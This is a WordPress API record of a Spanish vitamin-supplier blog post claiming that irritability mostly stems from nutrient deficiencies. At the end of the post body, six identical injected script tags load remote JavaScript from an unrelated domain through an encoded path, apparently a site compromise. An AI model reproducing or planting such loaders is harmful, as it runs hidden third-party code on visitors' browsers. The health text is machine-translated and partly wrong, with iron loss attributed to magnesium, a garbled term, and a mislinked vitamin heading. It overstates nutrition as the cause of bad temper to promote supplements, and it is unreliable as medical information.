{"id":7884,"date":"2024-08-19T17:35:37","date_gmt":"2024-08-19T09:35:37","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7884"},"modified":"2025-02-06T09:30:59","modified_gmt":"2025-02-06T01:30:59","slug":"bad-temper-turns-out-to-be-a-lack-of-these-nutrients","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/el-mal-humor-resulta-ser-una-falta-de-estos-nutrientes\/","title":{"rendered":"El mal humor resulta ser una falta de estos nutrientes"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-0035c40\" data-block-id=\"0035c40\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3726\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp\" width=\"806\" height=\"449\" alt=\"Vitamina B12\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp 806w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-300x167.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-768x428.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-600x334.webp 600w\" sizes=\"(max-width: 806px) 100vw, 806px\" \/><\/figure><\/div>\n\n\n\n<p>En opini\u00f3n de muchas personas, el temperamento tiene algo que ver con la educaci\u00f3n.<\/p>\n\n\n\n<p>En la vida, muchas personas no pueden controlar sus emociones negativas, no s\u00f3lo hacen que sea dif\u00edcil llevarse bien con colegas y amigos, sino que tambi\u00e9n hacen que los miembros de la familia se sientan abrumados e incluso profundamente heridos.<\/p>\n\n\n\n<p>De hecho, en la mayor\u00eda de los casos, no es culpa suya, sino de la falta de los siguientes nutrientes en su dieta.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Calcio y magnesio<\/h2>\n\n\n\n<p>Se sabe que el calcio est\u00e1 relacionado con la funci\u00f3n \u00f3sea y muscular, pero rara vez se piensa que pueda afectar al sistema nervioso.<\/p>\n\n\n\n<p>En las personas con carencia de calcio, el sistema nervioso se encuentra en un estado de sobreexcitaci\u00f3n. Los ni\u00f1os carecen de calcio llorar\u00e1 sin parar, los adultos carecen de calcio, es f\u00e1cil parecer irritable, f\u00e1cil estar enojado, un poco neur\u00f3tico, dif\u00edcil de controlar las emociones.<\/p>\n\n\n\n<p>La carencia de calcio tambi\u00e9n puede exacerbar el insomnio, y un mal sue\u00f1o suele ser sin\u00f3nimo de mal humor.<\/p>\n\n\n\n<p>El magnesio es otro mineral que puede ayudar a combatir el estr\u00e9s. La abundancia de magnesio reduce la sobreproducci\u00f3n de hormonas del estr\u00e9s.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/es\/producto\/cyanocobalamin\/\">Vitamina B1<\/a><\/h2>\n\n\n\n<p>La vitamina B1 interviene en el metabolismo energ\u00e9tico.<\/p>\n\n\n\n<p>La deficiencia de vitamina B1, afectar\u00e1 a la s\u00edntesis y la conducci\u00f3n metab\u00f3lica del medio, no s\u00f3lo puede causar beriberi, pero tambi\u00e9n puede implicar el coraz\u00f3n, y hacer que la gente de mal humor, somnoliento y d\u00e9bil, nervioso, de mal humor.<\/p>\n\n\n\n<p>El alcohol puede interferir con la absorci\u00f3n de la vitamina B1, junto con la comida demasiado fina y el uso a largo plazo de anticonceptivos, es m\u00e1s probable que se produzca la deficiencia de vitamina B1, la necesidad de prevenir la comida demasiado fina, evitar beber.<\/p>\n\n\n\n<p>Cuando el cuerpo humano carece de vitamina B1, no s\u00f3lo se sentir\u00e1 cansado y d\u00e9bil, indigesti\u00f3n, sino tambi\u00e9n frustraci\u00f3n emocional y reacci\u00f3n lenta.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Vitamina B6<\/h2>\n\n\n\n<p>La vitamina B6, clorhidrato de piridoxina, interviene en el metabolismo del tript\u00f3fano, el az\u00facar y los estr\u00f3genos.<\/p>\n\n\n\n<p>Las mujeres que toman anticonceptivos orales antes de la menstruaci\u00f3n, la necesidad de vitamina B6 aumenta, como la ingesta insuficiente es propenso a la excitaci\u00f3n, hiperreflexia y neuritis perif\u00e9rica, tambi\u00e9n puede conducir a dolor de cabeza, temperamento irritable, somnolencia, excitaci\u00f3n f\u00e1cil, e incluso depresi\u00f3n.<\/p>\n\n\n\n<p>La vitamina B6 se encuentra en mayores niveles en la corteza de los cereales y la col.<\/p>\n\n\n\n<p>Uno de los s\u00edntomas de la carencia de vitamina B6 es la tendencia a la depresi\u00f3n.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/es\/categoria-de-productos\/vitamin-derivatives\/vitamin-b\/\">Vitamina B12<\/a><\/h2>\n\n\n\n<p>La vitamina B12 es m\u00e1s abundante en el h\u00edgado y la carne magra, su carencia puede causar slossitis, diarrea y anemia megalobl\u00e1stica, a menudo acompa\u00f1ada de entumecimiento, trastornos del movimiento de las extremidades y otros s\u00edntomas neurol\u00f3gicos.<\/p>\n\n\n\n<p>Los anticonceptivos orales de larga duraci\u00f3n y el bajo consumo de carne en las mujeres pueden causar carencia de vitamina B12.<\/p>\n\n\n\n<p>Cuando la vitamina B12 es insuficiente, las personas presentan una disminuci\u00f3n de la capacidad de pensamiento, trastornos espaciales y otras situaciones.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Deficiencia de niacina<\/h2>\n\n\n\n<p>Otro miembro del grupo de las vitaminas B, la niacina o niacina, puede causar demencia y confusi\u00f3n cuando es muy deficiente. La niacina interviene en la s\u00edntesis de grasas y hormonas en el organismo, y tambi\u00e9n tiene efectos sobre el sistema nervioso.<\/p>\n\n\n\n<p>La deficiencia de niacina se manifiesta por fatiga, insomnio, depresi\u00f3n, apat\u00eda y efectos sobre la memoria.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">sideropenia<\/h2>\n\n\n\n<p>Las mujeres con menstruaci\u00f3n anormal, m\u00e1s menstruaci\u00f3n o ciclos m\u00e1s cortos son propensas a la deficiencia de hierro debido a una mayor p\u00e9rdida de magnesio con la sangre menstrual. Algunas mujeres no les gusta la carne y verduras frescas, les encanta comer dulces y pasteles, este h\u00e1bito alimenticio parcial tambi\u00e9n puede causar una ingesta insuficiente de hierro.<\/p>\n\n\n\n<p>La carencia de hierro puede afectar a la actividad de diversas enzimas que contienen hierro, afectar a la formaci\u00f3n del pigmento de los gl\u00f3bulos rojos y la mioglobina, hacer que las personas est\u00e9n ap\u00e1ticas, somnolientas y d\u00e9biles, falta de concentraci\u00f3n, p\u00e9rdida de memoria, inestabilidad emocional, irritabilidad, excitaci\u00f3n y llanto, bajo deseo sexual.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Carencia de zinc<\/h2>\n\n\n\n<p>El zinc participa en m\u00e1s de 80 tipos de actividades en el cuerpo humano, influye en la s\u00edntesis de prote\u00ednas y \u00e1cidos nucleicos, y es tambi\u00e9n un oligoelemento esencial en el sistema reproductor.<\/p>\n\n\n\n<p>El zinc abunda en los alimentos de origen animal y se absorbe f\u00e1cilmente. El contenido de zinc de los alimentos vegetales es inferior al de los alimentos de origen animal, y su absorci\u00f3n se ve afectada por la presencia de celulosa y \u00e1cido f\u00edtico.<\/p>\n\n\n\n<p>Debido a que el zinc de todo tipo de alimentos se concentra en el ectodermo, el trigo puede perder 78% de zinc tras su transformaci\u00f3n en polvo rico y potente.<\/p>\n\n\n\n<p>Comer az\u00facar y beber alcohol puede aumentar el consumo de zinc del organismo, por lo que las mujeres a las que no les gusta comer alimentos de origen animal, les encanta comer dulces y pasteles y son adictas al alcohol son propensas a la deficiencia de zinc.<\/p>\n\n\n\n<p>La deficiencia de zinc puede afectar al comportamiento de la personalidad de las personas, causar depresi\u00f3n, inestabilidad emocional, y luego afectar a la vida sexual normal de las parejas, causar discordia familiar.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">hidratos de carbono<\/h2>\n\n\n\n<p>Las personas que no consumen suficientes alimentos b\u00e1sicos ricos en almid\u00f3n suelen presentar las caracter\u00edsticas de mal humor, falta de paciencia, deterioro de la memoria, depresi\u00f3n e insomnio. Esto se debe a que un bajo aporte de hidratos de carbono priva al sistema nervioso de su fuente favorita de energ\u00eda.<\/p>\n\n\n\n<p>As\u00ed pues, si se encuentra incontrolablemente irritable, quiz\u00e1 desee reflexionar sobre si su dieta no ha alcanzado un equilibrio nutricional, si carece de una variedad de nutrientes esenciales.<\/p>\n\n\n\n<p><strong>Proveedor de vitamina B1: www.backvita.com<br>Correo electr\u00f3nico: info@backvita.com<br>Tel\u00e9fono: +86 (029) 8187 2325<\/strong><\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>In the opinion of many people, temper has something to do with upbringing. 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In life, many people can\u2019t control their negative emotions, not only make colleagues and friends feel difficult to get along with, but also make family members feel overwhelmed and even deeply hurt. In fact, for the most part, this is not entirely their own fault, most likely due to a lack of the following nutrients in their diet. Calcium and magnesium Calcium is known to be related to bone and muscle function, but it is rarely thought that it may affect the nervous system. In people with&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/es\/category\/tendencias-del-sector\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/es\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts\/7884"}],"collection":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/comments?post=7884"}],"version-history":[{"count":7,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts\/7884\/revisions"}],"predecessor-version":[{"id":9674,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/posts\/7884\/revisions\/9674"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/media\/3726"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/media?parent=7884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/categories?post=7884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/es\/wp-json\/wp\/v2\/tags?post=7884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}